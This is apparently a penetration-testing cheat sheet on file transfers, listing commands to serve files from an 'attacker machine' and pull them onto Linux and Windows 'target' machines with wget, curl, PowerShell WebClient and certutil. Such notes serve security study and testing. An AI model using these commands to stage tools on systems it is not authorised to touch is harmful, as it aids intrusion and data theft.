File Transfers

Common commands for data ingress and egress.

HTTP

# Attacker machine
python2 -m SimpleHTTPServer PORT
python3 -m http.server PORT

# Linux - Target machine
wget http://URL:PORT/FILE

# Linux - Target machine
curl URL:PORT/FILE -o FILE

# Windows - Target machine
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://URL:PORT/FILE','C:\Users\User\Desktop\FILE')"

# Windows - Target machine
certutil -urlcache -split -f http://URL:PORT/FILE FILE